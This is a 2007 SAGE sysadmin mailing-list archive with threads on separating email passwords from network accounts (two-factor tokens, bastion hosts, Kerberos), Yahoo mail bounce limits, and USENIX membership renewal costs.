	with ESMTP id 10244-03-2; Wed, 14 Feb 2007 23:04:08 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id 7AC5815B5A6;
	Wed, 14 Feb 2007 23:04:08 -0500 (EST)
Received: from [10.0.1.102] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l1F443G1069909;
	Wed, 14 Feb 2007 23:04:04 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240506c1f98bdfca96@[10.0.1.102]>
In-Reply-To: <329528150.20070214101136@puryear-it.com>
References: <329528150.20070214101136@puryear-it.com>
Date: Wed, 14 Feb 2007 22:03:50 -0600
To: "Dustin Puryear" <dustin@puryear-it.com>, sage-members@sage.org
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Email passwords are.. special?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.343 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.056, BAYES_00=-2.599]
X-Spam-Score: -4.343
X-Spam-Level: 
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; bulk rep Body=many Fuz1=many
	Fuz2=many rep=27%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 10:11 AM -0600 2/14/07, Dustin Puryear wrote:

>  Now, let's assume that the communication channel is encrypted with
>  SSL. That should just be a given.

Unless you can guarantee that SSLv2 and earlier cannot possibly be 
used, then even using SSL is not secure -- MITM attacks can still be 
performed.

>                                     But we still have the issue of
>  people having passwords stored on their phones, laptops, home
>  computers, etc., for their email. I know I've had several phones lost
>  in the past few years. None had my network information, but that could
>  have been there.

As Mark Bergman pointed out, don't forget about the web browsers that 
have been configured to auto-remember all passwords.  Or any other 
kind of situation where one of your users might use an external 
computer belonging to a different person or organization -- with 
possible keyloggers, etc....

>  What are your thoughts on whether email accounts should be separate
>  from normal network accounts? Pros? Cons? Should companies just not
>  allow external access to email via POP or IMAP and just require
>  Webmail access so users have to manually enter passwords? Does that
>  solve the real problem? I'm interested in hearing what everyone has to
>  say.

If your management really cares about this sort of thing but you 
still have to provide external access, then use a two-factor 
authentication system such as SecurID, or somesuch.  But then you 
have to deal with the problem of what happens when someone loses 
their token/calculator, or the battery dies, or whatever.


If your management doesn't care that much, then you could make one 
set of passwords for e-mail only, but you could just as easily ensure 
that no one can get into any kind of shell account from the outside, 
so that loss of a password would just give someone else access to 
e-mail for that account (although that does have certain risks).

Either way, you should make sure you have processes in place to 
handle rapidly changing all potentially affected passwords if need 
be.  And you will need IDS systems to make sure that the same account 
isn't logging in simultaneously from different places, or is used in 
one place at Time-A, and used in a radically different place at 
Time-A+epsilon, for sufficiently small epsilon.


If your management was really paranoid, you wouldn't be allowed to 
provide any kind of external access at all, and therefore this 
wouldn't be a problem.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
LinkedIn Profile: <http://tinyurl.com/y8kpxu>
Slides from Invited Talks: <http://tinyurl.com/tj6q4>


From sage-members-owner@usenix.org Thu Feb 15 08:28:34 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1FGSYw1020215
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 15 Feb 2007 08:28:34 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1FGSXMg020214
	for sage-members-0utGoign; Thu, 15 Feb 2007 08:28:33 -0800 (PST)
Received: from gwtor-out1.cbc.ca (gwtor-out3.cbc.ca [159.33.1.120])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1FGS7pj020203
	for <sage-members@usenix.org>; Thu, 15 Feb 2007 08:28:18 -0800 (PST)
Received: from GWIADMOUT-MTA by gwtor-out1.cbc.ca
	with Novell_GroupWise; Thu, 15 Feb 2007 11:07:15 -0500
Message-Id: <45D43EA0.4CAF.003C.0@Toronto.CBC.CA>
X-Mailer: Novell GroupWise Internet Agent 7.0.1 
Date: Thu, 15 Feb 2007 11:07:02 -0500
From: "Julian Dunn" <Julian_Dunn@cbc.ca>
To: <sage-members@usenix.org>
Subject: [SAGE] is anyone a postmaster at Yahoo?
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=45%
Sender: owner-sage-members@usenix.org
Precedence: bulk

I'm wondering if anyone on the list is, or can put me in contact with, a
postmaster / sysadmin at Yahoo. We currently are experiencing delayed
e-mail delivery to Yahoo with the following message:

VS14-PR Mailbox bounce arrival rate exceeds system limit

We have a lot of mailing list users with Yahoo addresses, whom I'm sure
are bouncing a lot of mail. We're working on fixing that problem, but
all I want to know is "what is the system limit"?

- Julian


--
-- Julian C. Dunn, P.Eng.  <Julian_Dunn@cbc.ca>
-- Platform Administrator * CBC.ca Production & Operations
-- Office: 2C310-J  *  Tel.: (416) 205-3311 x6988






From sage-members-owner@usenix.org Thu Feb 15 12:05:59 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1FK5bo7026201
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 15 Feb 2007 12:05:37 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1FK5bXa026200
	for sage-members-0utGoign; Thu, 15 Feb 2007 12:05:37 -0800 (PST)
Received: from netmeister.org (netmeister.org [64.81.58.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1FK5046026185
	for <sage-members@usenix.org>; Thu, 15 Feb 2007 12:05:10 -0800 (PST)
Received: by netmeister.org (Postfix, from userid 1000)
	id 4C6A482007; Thu, 15 Feb 2007 11:39:39 -0800 (PST)
Date: Thu, 15 Feb 2007 11:39:39 -0800
From: Jan Schaumann <jschauma@netmeister.org>
To: sage-members@usenix.org
Subject: Re: [SAGE] is anyone a postmaster at Yahoo?
Message-ID: <20070215193939.GE25328@netmeister.org>
Mail-Followup-To: sage-members@usenix.org
References: <45D43EA0.4CAF.003C.0@Toronto.CBC.CA>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <45D43EA0.4CAF.003C.0@Toronto.CBC.CA>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Julian Dunn <Julian_Dunn@cbc.ca> wrote:
> I'm wondering if anyone on the list is, or can put me in contact with, a
> postmaster / sysadmin at Yahoo. We currently are experiencing delayed
> e-mail delivery to Yahoo with the following message:
> 
> VS14-PR Mailbox bounce arrival rate exceeds system limit
> 
> We have a lot of mailing list users with Yahoo addresses, whom I'm sure
> are bouncing a lot of mail. We're working on fixing that problem, but
> all I want to know is "what is the system limit"?

You may want to take a look at

http://help.yahoo.com/l/us/yahoo/mail/original/abuse/basics-55.html

and follow up via

http://add.yahoo.com/fast/help/us/mail/cgi_defer

- -Jan
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (NetBSD)

iD8DBQFF1LbsfFtkr68iakwRAuUmAKDL31SFfxV8bEU0qo86Qnn6a5n5NACgu5Ri
DexiQKrEDH8lQD4p6cp1NPs=
=I8hT
-----END PGP SIGNATURE-----


From sage-members-owner@usenix.org Thu Feb 15 23:29:47 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1G7TcKE009314
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 15 Feb 2007 23:29:43 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1G7TcxY009313
	for sage-members-0utGoign; Thu, 15 Feb 2007 23:29:38 -0800 (PST)
Received: from mail3.bitpusher.com (mail3.bitpusher.com [64.127.99.16])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1G7SuEb009303
	for <sage-members@sage.org>; Thu, 15 Feb 2007 23:29:06 -0800 (PST)
Received: from [10.0.1.7] (adsl-71-134-248-82.dsl.pltn13.pacbell.net
	[71.134.248.82])
	by mail3.bitpusher.com (Postfix) with ESMTP id ED5391CEA8;
	Thu, 15 Feb 2007 23:02:23 -0800 (PST)
In-Reply-To: <p06240506c1f98bdfca96@[10.0.1.102]>
References: <329528150.20070214101136@puryear-it.com>
	<p06240506c1f98bdfca96@[10.0.1.102]>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <45E75832-50E1-43BD-B211-286719138647@halligan.org>
Cc: "Michael T. Halligan" <michael@halligan.org>,
	"Dustin Puryear" <dustin@puryear-it.com>, sage-members@sage.org
Content-Transfer-Encoding: 7bit
From: "Michael T. Halligan" <michael@halligan.org>
Subject: Re: [SAGE] Email passwords are.. special?
Date: Thu, 15 Feb 2007 23:27:52 -0800
To: Brad Knowles <brad@shub-internet.org>
X-Mailer: Apple Mail (2.752.3)
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Brad,

How did you handle this at AOL?

On Feb 14, 2007, at 8:03 PM, Brad Knowles wrote:

> At 10:11 AM -0600 2/14/07, Dustin Puryear wrote:
>
>>  Now, let's assume that the communication channel is encrypted with
>>  SSL. That should just be a given.
>
> Unless you can guarantee that SSLv2 and earlier cannot possibly be  
> used, then even using SSL is not secure -- MITM attacks can still  
> be performed.
>
>>                                     But we still have the issue of
>>  people having passwords stored on their phones, laptops, home
>>  computers, etc., for their email. I know I've had several phones  
>> lost
>>  in the past few years. None had my network information, but that  
>> could
>>  have been there.
>
> As Mark Bergman pointed out, don't forget about the web browsers  
> that have been configured to auto-remember all passwords.  Or any  
> other kind of situation where one of your users might use an  
> external computer belonging to a different person or organization  
> -- with possible keyloggers, etc....
>
>>  What are your thoughts on whether email accounts should be separate
>>  from normal network accounts? Pros? Cons? Should companies just not
>>  allow external access to email via POP or IMAP and just require
>>  Webmail access so users have to manually enter passwords? Does that
>>  solve the real problem? I'm interested in hearing what everyone  
>> has to
>>  say.
>
> If your management really cares about this sort of thing but you  
> still have to provide external access, then use a two-factor  
> authentication system such as SecurID, or somesuch.  But then you  
> have to deal with the problem of what happens when someone loses  
> their token/calculator, or the battery dies, or whatever.
>
>
> If your management doesn't care that much, then you could make one  
> set of passwords for e-mail only, but you could just as easily  
> ensure that no one can get into any kind of shell account from the  
> outside, so that loss of a password would just give someone else  
> access to e-mail for that account (although that does have certain  
> risks).
>
> Either way, you should make sure you have processes in place to  
> handle rapidly changing all potentially affected passwords if need  
> be.  And you will need IDS systems to make sure that the same  
> account isn't logging in simultaneously from different places, or  
> is used in one place at Time-A, and used in a radically different  
> place at Time-A+epsilon, for sufficiently small epsilon.
>
>
> If your management was really paranoid, you wouldn't be allowed to  
> provide any kind of external access at all, and therefore this  
> wouldn't be a problem.
>
> -- 
> Brad Knowles <brad@shub-internet.org>, Consultant & Author
> LinkedIn Profile: <http://tinyurl.com/y8kpxu>
> Slides from Invited Talks: <http://tinyurl.com/tj6q4>



From sage-members-owner@usenix.org Fri Feb 16 00:55:40 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1G8tVVb016454
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 16 Feb 2007 00:55:36 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1G8tVIC016453
	for sage-members-0utGoign; Fri, 16 Feb 2007 00:55:31 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1G8t4YV016443
	for <sage-members@sage.org>; Fri, 16 Feb 2007 00:55:15 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id EE98A15B565;
	Fri, 16 Feb 2007 03:55:00 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 06270-06; Fri, 16 Feb 2007 03:54:58 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id 504D215B55F;
	Fri, 16 Feb 2007 03:54:58 -0500 (EST)
Received: from [10.0.1.102] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l1G8so3q068485;
	Fri, 16 Feb 2007 03:54:57 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240502c1fb196479c3@[10.0.1.102]>
In-Reply-To: <45E75832-50E1-43BD-B211-286719138647@halligan.org>
References: <329528150.20070214101136@puryear-it.com>
	<p06240506c1f98bdfca96@[10.0.1.102]>
	<45E75832-50E1-43BD-B211-286719138647@halligan.org>
Date: Fri, 16 Feb 2007 02:54:30 -0600
To: "Michael T. Halligan" <michael@halligan.org>,
	Brad Knowles <brad@shub-internet.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Email passwords are.. special?
Cc: "Michael T. Halligan" <michael@halligan.org>,
	"Dustin Puryear" <dustin@puryear-it.com>, sage-members@sage.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.344 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.055, BAYES_00=-2.599]
X-Spam-Score: -4.344
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=27%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 11:27 PM -0800 2/15/07, Michael T. Halligan wrote:

>  How did you handle this at AOL?

In two different ways.  Most of the Operations guys actually had Unix 
boxes of one sort or another on their desks, and @aol.net addresses 
to go along with them.  You accessed aol.net e-mail via POP3, whether 
remote or local -- no, not POP3S, or anything else that was 
encrypted.  On the aol.net mail system, SMTP and POP3 were the only 
services running.  I didn't actually run those boxes myself, but I 
did work very closely with the guys who did run them, and I made sure 
to keep them fully up-to-date with all the relevant stuff we were 
doing in production at the time.

All system access to the actual boxes themselves was via telnet 
internally, and the admin accounts were usually created on the boxes 
as part of our custom install process.  Any admin accounts that had 
to be created afterwards would be the responsibility of the 
application admin team in question, and it was up to them to decide 
how they wanted to distribute that data -- I think most of us just 
did the simple thing and kept a single /etc/password file for our 
group that we shared out to all the various machines in our area. 
And the internal support guys did the same for the desktop machines. 
We had started with AFS on the internal operations network for doing 
any shared data, but after we grew too large that got canned and we 
went with simple NFS.

The security guys kept pushing for Kerberos, but they were never able 
to deliver it during the time I was there.  I was one of the guys who 
pushed back hard enough that we managed to get them to allow us to 
install ssh and use that until the Kerberos stuff was ready.  I left 
before any of the Kerberos stuff was rolled out, if it was ever 
rolled out.

There were some Bastion machines you could ssh into from the outside 
world, and from there you could access any of the other internal 
systems.  These boxes were locked up as tight as physically possible, 
with access controlled by SecurID plus passwords that had to meet 
some very stringent requirements.  Of course, they couldn't 
physically prevent you from writing down your password, but if the 
security guys ever found out then you probably would have been fired 
on the spot.

None of the system access passwords had anything to do with your 
e-mail passwords -- those were totally separate, and while you had 
some control over what password you used in both of those places, you 
were forced to use their modified password generation tools on the 
Bastion hosts.  So, you had control over two legs of that triangle, 
but not the third.


Then there was the service side.  The AOL client has (had?) a 
proprietary Stratus-based communications protocol that they used to 
download e-mail, and while definitely obfuscated, it wasn't wasn't 
actually encrypted -- at least, not initially.  You could get various 
versions of clients for various OSes, although Unix was never really 
one of them -- at least, not until AOL shipped a MacOS X client, and 
even that is probably still a client written for MacOS 9 with Carbon 
Libraries, which is running under Carbon in MacOS X.

Later, the upper management guys got really ticked off that all the 
operations guys couldn't stand to use the AOL client, so they pretty 
much killed all the old aol.net systems, and forced you to use the 
AOL client.  They hacked in some Kerberos-style "Realms" stuff, so 
that you could ensure that all communications of certain sorts was 
not allowed to be sent to anyone who didn't have the "AOL Employee" 
bit set in their Realm.

Needless to say, there were a number of people who weren't willing to 
stick around to see how the dogfood experiment worked out.


Anyway, loss of an e-mail password was just that -- loss of an e-mail 
password.  That didn't get you into any of the Bastion hosts, that 
didn't get you into any of the production boxes, etc....  Of course, 
someone could have been stupid and shared their e-mail password with 
their admin account on their operational boxes, but most people were 
smart enough not to do that.  Moreover, that wouldn't help you get 
onto any of the production boxes, unless you had some way to get onto 
the Bastion hosts.


Personally, I think the use of a centralized Kerberos scheme is a 
good idea, but you do need to do the work to tie that into all the 
other systems.  And you want to think about what kind of backup 
you're going to have if Kerberos goes down or if the box gets knocked 
off the 'net and you're forced to go in through the console terminal 
server -- you don't want root being unable to log in, because the 
network is down.

Of course, you also don't want the single root account being used for 
all remote admin access just because it's simpler that way.  Real 
root logins should be restricted to the console only, and everyone 
else should be required to go through their personal account, and 
sudo (or sudosh, or whatever) only as necessary.

And I do kinda like the idea of separate passwords for e-mail versus 
actual remote terminal access, in part because most people aren't 
going to need remote terminal access to most boxes -- even if I am 
the mail admin, the web server boxes should not even know about me, 
unless there's some reason I should be accessing the web server boxes 
to set up their mail system for reporting of errors, etc....  Even 
then, my access should be restricted to the functions I'd be expected 
to perform.

I'm also a fan of functional decomposition -- the mail boxes should 
be doing pretty much just mail and nothing else, so even if they get 
compromised that doesn't necessarily help anyone break into any other 
part of the system.  Well, at least it doesn't help them as much.

Oh, and I'm a big fan of encrypting just about everything you can. 
Remote system access, e-mail access, log data transmissions, etc.... 
And two-factor authentication for those mission-critical systems.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
LinkedIn Profile: <http://tinyurl.com/y8kpxu>
Slides from Invited Talks: <http://tinyurl.com/tj6q4>


From sage-members-owner@usenix.org Fri Feb 16 01:07:54 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1G97lj5017009
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 16 Feb 2007 01:07:47 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1G97lZ5017008
	for sage-members-0utGoign; Fri, 16 Feb 2007 01:07:47 -0800 (PST)
Received: from smtp102.his.com (smtp102.his.com [216.194.225.125])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1G96xND016977
	for <sage-members@sage.org>; Fri, 16 Feb 2007 01:07:10 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp102.his.com (Postfix) with ESMTP id 9F1F841C029;
	Fri, 16 Feb 2007 04:06:15 -0500 (EST)
Received: from smtp102.his.com ([216.194.225.125])
	by localhost (smtp102.his.com [216.194.225.125]) (amavisd-new,
	port 10024)
	with ESMTP id 12988-03; Fri, 16 Feb 2007 04:06:13 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp102.his.com (Postfix) with ESMTP id C4A6D41C013;
	Fri, 16 Feb 2007 04:06:13 -0500 (EST)
Received: from [10.0.1.102] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l1G96paH068844;
	Fri, 16 Feb 2007 04:06:52 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240503c1fb2313bed8@[10.0.1.102]>
In-Reply-To: <p06240502c1fb196479c3@[10.0.1.102]>
References: <329528150.20070214101136@puryear-it.com>
	<p06240506c1f98bdfca96@[10.0.1.102]>
	<45E75832-50E1-43BD-B211-286719138647@halligan.org>
	<p06240502c1fb196479c3@[10.0.1.102]>
Date: Fri, 16 Feb 2007 03:06:39 -0600
To: Brad Knowles <brad@shub-internet.org>,
	"Michael T. Halligan" <michael@halligan.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Email passwords are.. special?
Cc: "Michael T. Halligan" <michael@halligan.org>,
	"Dustin Puryear" <dustin@puryear-it.com>, sage-members@sage.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.321 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.078, BAYES_00=-2.599]
X-Spam-Score: -4.321
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=10%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 2:54 AM -0600 2/16/07, Brad Knowles wrote:

>  In two different ways.  Most of the Operations guys actually had Unix boxes
>  of one sort or another on their desks, and @aol.net addresses to go along
>  with them.  You accessed aol.net e-mail via POP3, whether remote or local
>  -- no, not POP3S, or anything else that was encrypted.  On the aol.net
>  mail system, SMTP and POP3 were the only services running.

I should note that many people made use of .forward files on the 
aol.net mail system, forwarding mail from the hub machines to their 
desktops.  After a couple of security incidents, we made sure to 
vette all the .forward files to make sure that people weren't 
forwarding their mail outside of the system.

But if you did that, then you couldn't use POP3 from somewhere else 
to access that mailbox -- all your mail lived exclusively on your 
desktop Unix box, and that could be a pain.

>  All system access to the actual boxes themselves was via telnet internally,
>  and the admin accounts were usually created on the boxes as part of our
>  custom install process.

In this case, the word "boxes" refers to the production systems, not 
the aol.net support machines.  I should have made that more clear.

Even though we might be admins on the production systems, we were 
just normal unprivileged users on the aol.net support machines, who 
had their own set of internal support admins.  The aol.net support 
admins didn't get any kind of access of any kind to any of the 
production systems, and the admins for the production systems didn't 
get any kind of privileged access to the aol.net support machines.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
LinkedIn Profile: <http://tinyurl.com/y8kpxu>
Slides from Invited Talks: <http://tinyurl.com/tj6q4>


From sage-members-owner@usenix.org Wed Feb 21 20:28:47 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1M4SkVL012751
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 21 Feb 2007 20:28:46 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1M4Sksf012750
	for sage-members-0utGoign; Wed, 21 Feb 2007 20:28:46 -0800 (PST)
Received: from scudder.smxy.org (scudder.smxy.org [64.32.179.42])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1M4SIWg012737
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Wed, 21 Feb 2007 20:28:29 -0800 (PST)
Received: from Shaun-T-Ericksons-Computer.local
	(65-78-120-56.c3-0.eas-ubr1.atw-eas.pa.cable.rcn.com [65.78.120.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested) (Authenticated sender: ste)
	by scudder.smxy.org (Postfix) with ESMTP id C5D64F5C7
	for <sage-members@sage.org>; Wed, 21 Feb 2007 23:09:18 -0500 (EST)
Message-ID: <45DD176D.9090403@smxy.org>
Date: Wed, 21 Feb 2007 23:09:17 -0500
From: "Shaun T. Erickson" <ste@smxy.org>
Reply-To: ste@smxy.org
Organization: Smxy - four cats who rule!
User-Agent: Thunderbird 2.0b2 (Macintosh/20070116)
MIME-Version: 1.0
To: sage-members@sage.org
Subject: [SAGE] Renewal costs ...
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I just sent my renewal for Usenix and Sage in yesterday, but I forgot to 
enter in to Quicken how much I spent. Someone must have their renewal 
form lying around ...

I think it was $140.00 ($100.00 for Usenix & $40 for Sage). Can anyone 
confirm those numbers for me? I do remember that the amount for Sage was 
$5.00 less than stated lower on the form - presumably because I renewed 
both.

     -ste


From sage-members-owner@usenix.org Thu Feb 22 06:08:58 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1ME8vdw029863
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 22 Feb 2007 06:08:57 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1ME8vqH029862
	for sage-members-0utGoign; Thu, 22 Feb 2007 06:08:57 -0800 (PST)
Received: from sccrmhc14.comcast.net (sccrmhc14.comcast.net [204.127.200.84])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1ME8dOj029852
	for <sage-members@sage.org>; Thu, 22 Feb 2007 06:08:51 -0800 (PST)
Received: from paulntooz.homelinux.org ([24.34.212.25])
	by comcast.net (sccrmhc14) with ESMTP
	id <2007022214082301400p7h8ge>; Thu, 22 Feb 2007 14:08:23 +0000
Received: from taz.comcast.net (localhost [127.0.0.1])
	by paulntooz.homelinux.org (Postfix) with ESMTP id 619D61AB4F;
	Thu, 22 Feb 2007 09:08:23 -0500 (EST)
To: ste@smxy.org
Cc: sage-members@sage.org
Subject: Re: [SAGE] Renewal costs ...
References: <45DD176D.9090403@smxy.org>
From: Paul Lussier <p.lussier@comcast.net>
Date: Thu, 22 Feb 2007 09:08:23 -0500
In-Reply-To: <45DD176D.9090403@smxy.org> (Shaun T. Erickson's message of
	"Wed, 21 Feb 2007 23:09:17 -0500")
Message-ID: <87wt2athd4.fsf@comcast.net>
User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.50 (gnu/linux)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-sage-members@usenix.org
Precedence: bulk

"Shaun T. Erickson" <ste@smxy.org> writes:

> I just sent my renewal for Usenix and Sage in yesterday, but I forgot
> to enter in to Quicken how much I spent. Someone must have their
> renewal form lying around ...
>
> I think it was $140.00 ($100.00 for Usenix & $40 for Sage). Can anyone
> confirm those numbers for me? I do remember that the amount for Sage
> was $5.00 less than stated lower on the form - presumably because I
> renewed both.

Well, my e-mailed receipt tells me this:

  Charges
   Individual member              $115
   SAGE membership                $40

  Order total                    $155

  Payment details
   Amount paid:                   $155.00


So, it you got an individual membership for $140, I got
ripped^H^H^H^H^H^H^H^H^H^H made an involuntary donation to a worthy
cause :)

(well, actually, that would be my employer, since I expensed this :)

Hope that helps.
-- 
Seeya,
Paul
--
Key fingerprint = 1660 FECC 5D21 D286 F853  E808 BB07 9239 53F1 28EE


From sage-members-owner@usenix.org Thu Feb 22 06:40:11 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MEeAeH000736
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 22 Feb 2007 06:40:10 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1MEeAKL000734
	for sage-members-0utGoign; Thu, 22 Feb 2007 06:40:10 -0800 (PST)
Received: from scudder.smxy.org (scudder.smxy.org [64.32.179.42])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1MEdhSf000716
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Thu, 22 Feb 2007 06:39:54 -0800 (PST)
Received: from Shaun-T-Ericksons-Computer.local
	(65-78-120-56.c3-0.eas-ubr1.atw-eas.pa.cable.rcn.com [65.78.120.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested) (Authenticated sender: ste)
	by scudder.smxy.org (Postfix) with ESMTP id 89506F5C7
	for <sage-members@sage.org>; Thu, 22 Feb 2007 09:39:42 -0500 (EST)
Message-ID: <45DDAB29.20300@smxy.org>
Date: Thu, 22 Feb 2007 09:39:37 -0500
From: "Shaun T. Erickson" <ste@smxy.org>
Reply-To: ste@smxy.org
Organization: Smxy - four cats who rule!
User-Agent: Thunderbird 2.0b2 (Macintosh/20070116)
MIME-Version: 1.0
To: sage-members@sage.org
Subject: Re: [SAGE] Renewal costs ...
References: <45DD176D.9090403@smxy.org> <87wt2athd4.fsf@comcast.net>
In-Reply-To: <87wt2athd4.fsf@comcast.net>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Heh. Three people and three different amounts. Perhaps it would just be 
best if I wait until the transaction hits my account, at which point 
I'll know, lol.

     -ste


From sage-members-owner@usenix.org Thu Feb 22 06:50:38 2007
